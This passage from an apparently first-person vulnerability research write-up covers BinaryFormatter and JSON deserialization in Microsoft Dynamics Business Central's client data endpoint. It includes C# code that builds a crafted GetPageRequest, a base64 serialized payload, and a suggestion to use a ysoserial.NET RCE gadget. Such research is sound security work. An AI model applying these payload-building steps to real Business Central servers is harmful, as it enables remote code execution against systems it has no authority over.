<p>A breakpoint in <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.ClientDataController::GetPage(Microsoft.Dynamics.Nav.Types.GetPageRequest)</code> is hit, so our assumptions turned out to be correct. Remember to capture your session ID values from your nearby Wireshark companion, otherwise we’ll get a response with status code <code class="language-plaintext highlighter-rouge">401 Unauthorized</code> and a body containing <strong>“Missing headers”</strong>. So how to build now your <code class="language-plaintext highlighter-rouge">BinaryFormatter</code> serialized object into the <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.GetPageRequest</code> parameter? You should spin up your favorite C# IDE now, because we need some playground for <code class="language-plaintext highlighter-rouge">GetPageRequest -&gt; NavRecordState -&gt; FormOpenExceptionData byte[] typeof(NavBaseException)</code>. As a reminder, the relevant setters look like this.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Microsoft.Dynamics.Nav.Types.GetPageRequest</span>
<span class="k">public</span> <span class="n">NavRecordState</span> <span class="n">State</span>
<span class="p">{</span>
	<span class="p">[</span><span class="n">CompilerGenerated</span><span class="p">]</span>
	<span class="k">get</span>
	<span class="p">{</span>
		<span class="k">return</span> <span class="k">this</span><span class="p">.&lt;</span><span class="n">State</span><span class="p">&gt;</span><span class="n">k__BackingField</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="p">[</span><span class="n">CompilerGenerated</span><span class="p">]</span>
	<span class="k">set</span>
	<span class="p">{</span>
		<span class="k">this</span><span class="p">.&lt;</span><span class="n">State</span><span class="p">&gt;</span><span class="n">k__BackingField</span> <span class="p">=</span> <span class="k">value</span><span class="p">;</span>
	<span class="p">}</span>
<span class="p">}</span>

<span class="c1">// Microsoft.Dynamics.Nav.Types.NavRecordState</span>
<span class="p">[</span><span class="n">DataMember</span><span class="p">]</span>
<span class="k">private</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">FormOpenExceptionData</span>
<span class="p">{</span>
	<span class="k">get</span>
	<span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">formOpenException</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="k">return</span> <span class="n">ExceptionHandler</span><span class="p">.</span><span class="nf">SerializeToByteArray</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">formOpenException</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="k">return</span> <span class="k">null</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">set</span>
	<span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="k">value</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="k">this</span><span class="p">.</span><span class="n">formOpenException</span> <span class="p">=</span> <span class="p">(</span><span class="n">NavBaseException</span><span class="p">)</span><span class="n">ExceptionHandler</span><span class="p">.</span><span class="nf">DeserializeFromByteArray</span><span class="p">(</span><span class="k">value</span><span class="p">,</span> <span class="k">typeof</span><span class="p">(</span><span class="n">NavBaseException</span><span class="p">));</span>
		<span class="p">}</span>
	<span class="p">}</span>
<span class="p">}</span>

</code></pre></div></div>

<p>Since <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.Exceptions.NavBaseException</code> is an abstract class, for a PoC serialized object we need an implementation such as <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.CommandLineArgumentsException</code>. A malicious object from e.g. ysoserial.NET then has to placed into a generically typed variable. Since <code class="language-plaintext highlighter-rouge">NavBaseException</code> inherits from <code class="language-plaintext highlighter-rouge">Exception</code> itself, <code class="language-plaintext highlighter-rouge">System.Collections.IDictionary System.Exception::_data</code> is a legit candidate. Now, we got everything needed to use a few lines of code to serialize our first payload.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// GetPageRequest -&gt; NavRecordState -&gt; FormOpenExceptionData byte[] typeof(NavBaseException)</span>
<span class="n">GetPageRequest</span> <span class="n">getPageRequest</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">GetPageRequest</span><span class="p">();</span>
<span class="n">NavRecordState</span> <span class="n">nrs</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">NavRecordState</span><span class="p">();</span>
<span class="n">NavBaseException</span> <span class="n">navBaseException</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">CommandLineArgumentsException</span><span class="p">();</span>

<span class="kt">var</span> <span class="n">field</span> <span class="p">=</span> <span class="k">typeof</span><span class="p">(</span><span class="n">Exception</span><span class="p">).</span><span class="nf">GetField</span><span class="p">(</span><span class="s">"_data"</span><span class="p">,</span> <span class="n">BindingFlags</span><span class="p">.</span><span class="n">Instance</span> <span class="p">|</span> <span class="n">BindingFlags</span><span class="p">.</span><span class="n">NonPublic</span><span class="p">);</span>
<span class="n">field</span><span class="p">.</span><span class="nf">SetValue</span><span class="p">(</span><span class="n">navBaseException</span><span class="p">,</span> <span class="k">new</span> <span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">object</span><span class="p">&gt;()</span> <span class="p">{</span> <span class="p">{</span> <span class="s">"test"</span><span class="p">,</span> <span class="k">new</span> <span class="nf">Exception</span><span class="p">()</span> <span class="p">}</span> <span class="p">});</span>
<span class="n">nrs</span><span class="p">.</span><span class="nf">GetType</span><span class="p">().</span><span class="nf">GetProperty</span><span class="p">(</span><span class="s">"FormOpenException"</span><span class="p">).</span><span class="nf">SetValue</span><span class="p">(</span><span class="n">nrs</span><span class="p">,</span> <span class="n">navBaseException</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span> <span class="c1">// Attention that the field FormOpenExceptionData operates on the same data</span>
<span class="n">getPageRequest</span><span class="p">.</span><span class="n">State</span> <span class="p">=</span> <span class="n">nrs</span><span class="p">;</span>
<span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"[+] Serializing"</span><span class="p">);</span>
<span class="kt">string</span> <span class="n">json</span> <span class="p">=</span> <span class="n">JsonConvert</span><span class="p">.</span><span class="nf">SerializeObject</span><span class="p">(</span><span class="n">getPageRequest</span><span class="p">,</span> <span class="n">Formatting</span><span class="p">.</span><span class="n">Indented</span><span class="p">);</span>
<span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="n">json</span><span class="p">);</span>
</code></pre></div></div>

<p>This will give us the following Json with an embedded BinaryFormatter serialized payload.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"PageRequestDefinition"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
  </span><span class="nl">"State"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"RunFormOnRec"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"TableView"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"TableId"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
      </span><span class="nl">"CurrentSortingFieldIds"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Ascending"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
      </span><span class="nl">"CurrentFilters"</span><span class="p">:</span><span class="w"> </span><span class="p">[],</span><span class="w">
      </span><span class="nl">"SearchFilter"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"FlushDataCache"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"CurrentRecord"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"NavFormEditable"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
    </span><span class="nl">"PromptMode"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
    </span><span class="nl">"ValidateFieldsInOnNewRecord"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
    </span><span class="nl">"InsertLowerBoundBookmark"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"InsertUpperBoundBookmark"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"AllSelected"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"SelectedRecords"</span><span class="p">:</span><span class="w"> </span><span class="p">[],</span><span class="w">
    </span><span class="nl">"NonSelectedRecords"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"ServerFormHandle"</span><span class="p">:</span><span class="w"> </span><span class="s2">"00000000-0000-0000-0000-000000000000"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"FormId"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
    </span><span class="nl">"ParentFormId"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
    </span><span class="nl">"FormOpenExceptionData"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AAEAAAD/////AQAAAAAAAAAMAgAAAGBNaWNyb3NvZnQuRHluYW1pY3MuTmF2LlR5cGVzLCBWZXJzaW9uPTIzLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAADpNaWNyb3NvZnQuRHluYW1pY3MuTmF2LlR5cGVzLkNvbW1hbmRMaW5lQXJndW1lbnRzRXhjZXB0aW9uGQAAAA9TdXBwcmVzc01lc3NhZ2UNRmF0YWxpdHlTY29wZQplcnJvckxldmVsC05hdlRlbmFudElkD2Vudmlyb25tZW50TmFtZQ9lbnZpcm9ubWVudFR5cGUTRGlhZ25vc3RpY3NTdXBwcmVzcxJEaWFnbm9zdGljc01lc3NhZ2UbVHJhbnNpZW50RGlhZ25vc3RpY3NNZXNzYWdlHVN1cHByZXNzRXhjZXB0aW9uQ3JlYXRlZEV2ZW50C2FsQ2FsbFN0YWNrFGRldGFpbGVkRXJyb3JNZXNzYWdlIUVuZ2xpc2hMYW5ndWFnZURpYWdub3N0aWNzTWVzc2FnZQlDbGFzc05hbWUHTWVzc2FnZQREYXRhDklubmVyRXhjZXB0aW9uB0hlbHBVUkwQU3RhY2tUcmFjZVN0cmluZxZSZW1vdGVTdGFja1RyYWNlU3RyaW5nEFJlbW90ZVN0YWNrSW5kZXgPRXhjZXB0aW9uTWV0aG9kB0hSZXN1bHQGU291cmNlDVdhdHNvbkJ1Y2tldHMABAACAgIAAgIAAgICAQEDAwEBAQABAAEHAUFNaWNyb3NvZnQuRHluYW1pY3MuTmF2LlR5cGVzLkV4Y2VwdGlvbnMuTmF2RXhjZXB0aW9uRmF0YWxpdHlTY29wZQIAAAAIAQHiAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkRpY3Rpb25hcnlgMltbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0QU3lzdGVtLkV4Y2VwdGlvbggIAgIAAAAABf3///9BTWljcm9zb2Z0LkR5bmFtaWNzLk5hdi5UeXBlcy5FeGNlcHRpb25zLk5hdkV4Y2VwdGlvbkZhdGFsaXR5U2NvcGUBAAAAB3ZhbHVlX18ACAIAAAAAAAAAAAAAAAoKCgAKCgAKCgoGBAAAADpNaWNyb3NvZnQuRHluYW1pY3MuTmF2LlR5cGVzLkNvbW1hbmRMaW5lQXJndW1lbnRzRXhjZXB0aW9uCgkFAAAACgoKCgAAAAAKABUTgAoKBAUAAADiAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkRpY3Rpb25hcnlgMltbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAAB1ZlcnNpb24IQ29tcGFyZXIISGFzaFNpemUNS2V5VmFsdWVQYWlycwADAAMIkgFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5HZW5lcmljRXF1YWxpdHlDb21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQjmAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLktleVZhbHVlUGFpcmAyW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXVtdAQAAAAkGAAAAAwAAAAkHAAAABAYAAACSAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkdlbmVyaWNFcXVhbGl0eUNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAAAAAAcHAAAAAAEAAAABAAAAA+QBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuS2V5VmFsdWVQYWlyYDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBPj////kAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLktleVZhbHVlUGFpcmAyW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQIAAAADa2V5BXZhbHVlAQMQU3lzdGVtLkV4Y2VwdGlvbgYJAAAABHRlc3QJCgAAAAQKAAAAEFN5c3RlbS5FeGNlcHRpb24MAAAACUNsYXNzTmFtZQdNZXNzYWdlBERhdGEOSW5uZXJFeGNlcHRpb24HSGVscFVSTBBTdGFja1RyYWNlU3RyaW5nFlJlbW90ZVN0YWNrVHJhY2VTdHJpbmcQUmVtb3RlU3RhY2tJbmRleA9FeGNlcHRpb25NZXRob2QHSFJlc3VsdAZTb3VyY2UNV2F0c29uQnVja2V0cwEBAwMBAQEAAQABBx5TeXN0ZW0uQ29sbGVjdGlvbnMuSURpY3Rpb25hcnkQU3lzdGVtLkV4Y2VwdGlvbggIAgYLAAAAEFN5c3RlbS5FeGNlcHRpb24KCgoKCgoAAAAACgAVE4AKCgs="</span><span class="p">,</span><span class="w">
    </span><span class="nl">"PersonalizationId"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"IsResourceDefinedForm"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Timeout"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
    </span><span class="nl">"FormUpdateRequest"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
    </span><span class="nl">"SubFormUpdateRequests"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Changes"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"PageCaption"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"FormVariables"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"AutoKeyValues"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"RecordState"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
    </span><span class="nl">"PendingBackgroundTasks"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"ValidateRequired"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
    </span><span class="nl">"ClientRecordDraft"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"RenamingMode"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
    </span><span class="nl">"CurrentFilterGroup"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
    </span><span class="nl">"IsSubFormUpdateRequest"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"MoreDataInReadDirection"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"MoreDataInOppositeDirection"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"UpdatePropagation"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"SubFormSelectionStates"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
    </span><span class="nl">"RecordTemporary"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"DataSourceType"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"GetRowsRequest"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
  </span><span class="nl">"MaxRowCount"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Sending this to our test instance via POST to <code class="language-plaintext highlighter-rouge">http://localhost:7085/BC230/client/data/page</code>, the deserialization chain takes place as expected by hitting one of our former breakpoints at <code class="language-plaintext highlighter-rouge">System.Type Microsoft.Dynamics.Nav.Types.NavExceptionSerializationBinder::BindToType(System.String,System.String)</code>. Easy win, right? Now, let’s get serious and copy some code from ysoserial.NET for a real RCE gadget: <a href="https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TypeConfuseDelegateGenerator.cs">TypeConfuseDelegate</a>. Constructing an object which should give us some <em>calc</em> dance and then simply change to: <code class="language-plaintext highlighter-rouge">field.SetValue(navBaseException, new Dictionary&lt;string, object&gt;() { { "test", TypeConfuseDelegateGadget("calc") } });</code>.</p>

<p>Remember my introductory question “Sounds mysterious”? We’re not targeting a .NET Framework application but .NET Core. Let me introduce you to the <a href="https://github.com/dotnet/designs/blob/main/accepted/2020/better-obsoletion/binaryformatter-obsoletion.md">BinaryFormatter Obsoletion Strategy</a>.</p>

<blockquote>
  <p>As part of modernizing the .NET development stack and improving the overall health of the .NET ecosystem, it is time to sunset the BinaryFormatter type. BinaryFormatter is the mechanism by which many .NET applications find themselves exposed to critical security vulnerabilities, and its continued usage results in numerous such incidents every year across both first-party and third-party code.</p>
</blockquote>

<p>Step by step, Microsoft began to phase out this Formatter by e.g. removing the <code class="language-plaintext highlighter-rouge">[Serializable]</code> attribute from important classes, classes we as exploiters often rely on. Serialization after the single line of code change hits us hard.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Serializing
Unhandled exception. Newtonsoft.Json.JsonSerializationException: Error getting value from 'FormOpenExceptionData' on 'Microsoft.Dynamics.Nav.Types.NavRecordState'.
 ---&gt; System.Runtime.Serialization.SerializationException: Type 'System.Collections.Generic.ComparisonComparer`1[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]' in Assembly 'System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e' is not marked as serializable.
   at System.Runtime.Serialization.FormatterServices.InternalGetSerializableMembers(Type type)
   at System.Runtime.Serialization.FormatterServices.&lt;&gt;c.&lt;GetSerializableMembers&gt;b__5_0(MemberHolder mh)
   at System.Collections.Concurrent.ConcurrentDictionary`2.GetOrAdd(TKey key, Func`2 valueFactory)
   at System.Runtime.Serialization.FormatterServices.GetSerializableMembers(Type type, StreamingContext context)
   at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.InitMemberInfo()
   at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.InitSerialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter, SerializationBinder binder)
   at System.Runtime.Serialization.Formatters.Binary.ObjectWriter.Write(WriteObjectInfo objectInfo, NameInfo memberNameInfo, NameInfo typeNameInfo)
   at System.Runtime.Serialization.Formatters.Binary.ObjectWriter.Serialize(Object graph, BinaryFormatterWriter serWriter)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Serialize(Stream serializationStream, Object graph)
   at Microsoft.Dynamics.Nav.Common.ExceptionHandler.SerializeToByteArray(Exception value)
   ...
</code></pre></div></div>

<p>Comparing a <a href="https://referencesource.microsoft.com/#mscorlib/system/collections/generic/comparer.cs,150">.NET Framework implementation</a> with a <a href="https://source.dot.net/#System.Private.CoreLib/src/libraries/System.Private.CoreLib/src/System/Collections/Generic/Comparer.cs,35">.NET (Core) implementation</a> shows that the <code class="language-plaintext highlighter-rouge">[Serializable]</code> attribute was gone. This and similar patterns basically destroy all known gadgets from ysoserial.NET applied to .NET (Core) targets. This was also mentioned in <a href="https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf">another great research paper</a> by <a href="https://x.com/chudyPB/">Piotr of ZDI</a>.</p>

<h4 id="returning-to-json-deserialization">Returning To Json Deserialization</h4>

<p>So back from <code class="language-plaintext highlighter-rouge">NavExceptionSerializationBinder</code> to <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.NavSerializationBinder</code> because we already know this Binder is used during Json deserialization. Can we understand which controllers and methods are relevant without relying on Wireshark copy&amp;paste methodology?</p>

<p>Let’s use the dnSpy Analyzer again to search for callees of the SerializationBinder.</p>

<p style="text-align: center;"><img src="/assets/images/dynamics/dynamicsbindercallchain.png" alt="SerializationBinder Call Chain" /></p>

<p>The <code class="language-plaintext highlighter-rouge">System.Void Microsoft.Dynamics.Nav.Service.AspNetCore.ClientHostStartup::ConfigureServices(Microsoft.Extensions.DependencyInjection.IServiceCollection)</code> method takes care of properly setting up routing tables, serialization settings (obviously!), MVC options and many more things.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">void</span> <span class="nf">ConfigureServices</span><span class="p">(</span><span class="n">IServiceCollection</span> <span class="n">services</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">services</span><span class="p">.</span><span class="nf">AddSingleton</span><span class="p">(</span><span class="n">NavEnvironment</span><span class="p">.</span><span class="n">NavServiceProvider</span><span class="p">.</span><span class="n">Services</span><span class="p">.</span><span class="n">GetRequiredService</span><span class="p">&lt;</span><span class="n">INSServiceFactory</span><span class="p">&gt;()).</span><span class="nf">AddMvc</span><span class="p">(</span><span class="k">delegate</span><span class="p">(</span><span class="n">MvcOptions</span> <span class="n">o</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">o</span><span class="p">.</span><span class="n">EnableEndpointRouting</span> <span class="p">=</span> <span class="k">false</span><span class="p">;</span>
		<span class="n">o</span><span class="p">.</span><span class="n">Filters</span><span class="p">.</span><span class="n">Add</span><span class="p">&lt;</span><span class="n">ClearTlsAttribute</span><span class="p">&gt;();</span>
		<span class="n">o</span><span class="p">.</span><span class="n">Filters</span><span class="p">.</span><span class="n">Add</span><span class="p">&lt;</span><span class="n">NavDiagnosticsExceptionFilter</span><span class="p">&gt;();</span>
		<span class="n">o</span><span class="p">.</span><span class="n">Filters</span><span class="p">.</span><span class="n">Add</span><span class="p">&lt;</span><span class="n">ClientServiceExceptionFilter</span><span class="p">&gt;();</span>
	<span class="p">}).</span><span class="nf">AddNewtonsoftJson</span><span class="p">(</span><span class="k">delegate</span><span class="p">(</span><span class="n">MvcNewtonsoftJsonOptions</span> <span class="n">o</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">SharedJsonSettings</span><span class="p">.</span><span class="nf">Setup</span><span class="p">(</span><span class="n">o</span><span class="p">.</span><span class="n">SerializerSettings</span><span class="p">);</span>
	<span class="p">})</span>
		<span class="p">.</span><span class="nf">ConfigureApplicationPartManager</span><span class="p">(</span><span class="k">delegate</span><span class="p">(</span><span class="n">ApplicationPartManager</span> <span class="n">a</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="n">a</span><span class="p">.</span><span class="n">ApplicationParts</span><span class="p">.</span><span class="nf">Clear</span><span class="p">();</span>
			<span class="n">a</span><span class="p">.</span><span class="n">ApplicationParts</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="k">new</span> <span class="nf">AssemblyPart</span><span class="p">(</span><span class="k">typeof</span><span class="p">(</span><span class="n">ClientHostStartup</span><span class="p">).</span><span class="n">Assembly</span><span class="p">));</span>
			<span class="n">a</span><span class="p">.</span><span class="n">FeatureProviders</span><span class="p">.</span><span class="n">OfType</span><span class="p">&lt;</span><span class="n">ControllerFeatureProvider</span><span class="p">&gt;().</span><span class="n">ToList</span><span class="p">&lt;</span><span class="n">ControllerFeatureProvider</span><span class="p">&gt;().</span><span class="nf">ForEach</span><span class="p">(</span><span class="k">delegate</span><span class="p">(</span><span class="n">ControllerFeatureProvider</span> <span class="n">controllerFeatureProvider</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="n">a</span><span class="p">.</span><span class="n">FeatureProviders</span><span class="p">.</span><span class="nf">Remove</span><span class="p">(</span><span class="n">controllerFeatureProvider</span><span class="p">);</span>
			<span class="p">});</span>
			<span class="n">a</span><span class="p">.</span><span class="n">FeatureProviders</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="k">new</span> <span class="nf">ClientControllerFeatureProvider</span><span class="p">());</span> <span class="c1">// [5]</span>
		<span class="p">})</span>
		<span class="p">.</span><span class="nf">SetCompatibilityVersion</span><span class="p">(</span><span class="n">CompatibilityVersion</span><span class="p">.</span><span class="n">Version_2_1</span><span class="p">);</span>
		<span class="c1">// [...snip...]</span>
</code></pre></div></div>

<p>At [5] we see a constructor call of <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.ClientControllerFeatureProvider</code> which implements a method <code class="language-plaintext highlighter-rouge">System.Boolean Microsoft.Dynamics.Nav.Service.AspNetCore.ClientControllerFeatureProvider::IsController(System.Reflection.TypeInfo)</code>. This sounds like a good candidate to look for controller classes being part of the desired deserialization routines. So we’ve a bunch of potentially interesting controllers.</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.ClientMetadataController</code></li>
  <li><code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.ClientMetadataController</code></li>
  <li><code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.WebSocketController</code></li>
  <li><code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.UploadDownloadController</code></li>
  <li><code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.MediaController</code></li>
  <li><code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.UrlMediaController</code></li>
</ul>

<p>We find expected .NET attribute classes which confirm that these are indeed controller classes.</p>

